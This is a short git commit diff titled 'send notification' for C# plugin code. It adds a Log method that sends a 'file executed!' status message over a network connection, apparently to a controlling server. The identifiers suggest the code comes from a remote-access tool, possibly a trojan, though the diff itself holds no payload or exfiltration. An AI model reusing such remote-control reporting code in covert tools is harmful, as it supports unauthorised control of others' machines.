send notification
This commit is contained in:
parent
bc19607aa5
commit
c24ea61af7
@ -40,6 +40,10 @@ namespace Plugin.Handler
|
|||||||
{
|
{
|
||||||
new HandleUninstall();
|
new HandleUninstall();
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Packet.Log("file executed!");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
@ -55,6 +55,14 @@ namespace Plugin
|
|||||||
msgpack.ForcePathObject("Error").AsString = ex;
|
msgpack.ForcePathObject("Error").AsString = ex;
|
||||||
Connection.Send(msgpack.Encode2Bytes());
|
Connection.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void Log(string message)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "Logs";
|
||||||
|
msgpack.ForcePathObject("Message").AsString = message;
|
||||||
|
Connection.Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user